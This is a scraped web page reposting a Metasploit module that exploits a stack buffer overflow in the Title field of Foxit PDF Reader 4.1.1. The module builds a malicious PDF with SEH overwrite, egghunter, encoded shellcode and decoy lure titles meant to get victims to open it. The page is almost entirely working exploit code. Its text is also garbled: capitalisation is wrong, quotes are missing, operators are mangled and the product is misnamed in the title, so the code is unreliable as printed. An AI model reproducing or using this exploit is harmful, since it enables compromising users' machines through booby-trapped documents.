Fuxin PDF Reader v4.1.1 title Stack Buffer Overflow

Source: Internet
Author: User

##

Require msf/core

Class Metasploit3 <Msf: Exploit: Remote
Rank = GreatRanking

Include Msf: Exploit: FILEFORMAT
Include Msf: Exploit: PDF
Include Msf: Exploit: Egghunter
# Include Msf: Exploit: Seh # unused due to special circumstances

Def initialize (info = {})
Super (update_info (info,
Name => Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow,
Description => % q {
This module exploits a stack buffer overflow in Foxit PDF Reader prior to version
4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that
Contains an overly long string in the Title field. This results in overwriting
Structured exception handler record.

NOTE: This exploit does not use javascript.
},
License => MSF_LICENSE,
Version => "$ Revision: 11096 $ ",
Author =>
[
Dookie, # Discovered the bug
Sud0, # Original exploit (from Offsec Exploit Weekend)
Corelanc0d3r, # Metasploit exploit
Jduck # Metasploit-fu
],
References =>
[
# [CVE,],
[OSVDB, 68648],
[URL, http://www.exploit-db.com/exploits/15532],
[URL, http://www.corelan.be: 8800/index. php/2010/11/13/offensive-security-exploit-weekend/]
],
Payload =>
{
BadChars => "x00x01x02x03x04x05x06x07x08x09x0ax0dx2Fx5cx3cx3ex5ex7e ",
EncoderType => Msf: Encoder: Type: AlphanumMixed,
EncoderOptions =>
{
BufferRegister => EDI, # egghunter jmp edi
}
},
Platform => win,
Targets =>
[
[Foxit Reader v4.1.1 XP Universal, {Offset => 540, Ret => "x4Bx6A"}] # unicode p/r foxit reader.exe
],
DisclosureDate => Nov 13 2010,
DefaultTarget => 0 ))

Register_options (
[
OptString. new (FILENAME, [false, The output filename., corelan_foxit.pdf]),
OptString. new (OUTPUTPATH, [false, The location to output the file ..,./data/exploits/])
], Self. class)
End

Def exploit
@ Label = rand_text_alpha (7)

Nseh = "x5Ax41" # pop edx -- to make edx writable
Seh = target [Ret]

# Inc ecx/pop esp/popad/push esp/ret
Align = "x41x61x5Cx5Cx41x61x41x54x41xC3"
Ecx_control = "xB3x30xB3" # becomes ecx

Hunter, @ egg = generate_egghunter (payload. encoded, payload_badchars, {: checksum => true })

# Encode with alphamixed, then unicode mixed
[X86/alpha_mixed, x86/unicode_mixed]. each {| name |
Enc = framework. encoders. create (name)
If name = ~ /Unicode/
Enc. datastore. import_options_from_hash ({BufferRegister => ESP })
Else
Enc. datastore. import_options_from_hash ({BufferRegister => EDX })
End
# NOTE: we already eliminated badchars
Hunter = enc. encode (hunter, nil, nil, platform)
If name = ~ /Alpha/
# Insert getpc_stub & align EDX, unicode encoder friendly.
# Hardcoded stub is not an issue here because it gets encoded anyway
Getpc_stub = "x89xe1xdbxccxd9x71xf4x5ax83xc2x41x83xeax35"
Hunter = getpc_stub + hunter
End
}
# Tweak hunter, patched to make it write to ECX
Hunter [1] = ""

Doctitles = [
"Confidential: Contract + Terms of Use ",
"Contract information ",
"Acquisition contract ",
"... Loading, please wait ...",
"Trademark, patent and copyright information ",
"Limited Liability Partnership ",
"Partnership agreement ",
"Last will and testament ",
"How to hack gmail ",
"Running Metasploit on Windows Mobile ",
"Free torrent sites ",
"Lady Gaga naked ",
"Free Shopping vouchers"
]

Sploit =
Sploit <doctitles [rand (doctitles. length)]
Sploit <"* (target [Offset]-sploit. length)
Sploit <nseh <seh
Sploit <align
Sploit <ecx_control
Sploit

File_create (make_pdf (sploit ))
End

# Override the mixin obfuscator since it doesnt seem to work here.
Def nObfu (str)
Return str
End

Def trailer (root_obj)
Ret = trailer
Ret <nObfu ("</Size % d/Root" % (@ xref. length + 1) <ioRef (root_obj)
Ret <nObfu ("/Info") <ioRef (5)
Ret <nObfu ("/# {@ label }#{@ egg }")
Ret <nObfu ("> ")
Ret <eol
Ret
End

Def make_pdf (sploit)
@ Pdf

Add_object (1, nObfu ("</ViewerPreferences </DisplayDocTitle true>/Outlines") <ioRef (2) <nObfu ("/Pages ") <ioRef (3) <nObfu ("/Type/Catalog/Lang (en-US)> "))
Add_object (2, nObfu ("</Type/Outlines/Count 0> "))
Add_object (3, nObfu ("</Count 1/Type/Pages/Kids [") <ioRef (4) <nObfu ("]> "))
Add_object (4, nObfu ("</Type/Page/Parent") <ioRef (3) <nObfu ("/MediaBox [0 0 612]> "))
Add_object (5, nObfu ("</Title (") + sploit + nObfu (")> "))

Finish_pdf
End
 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.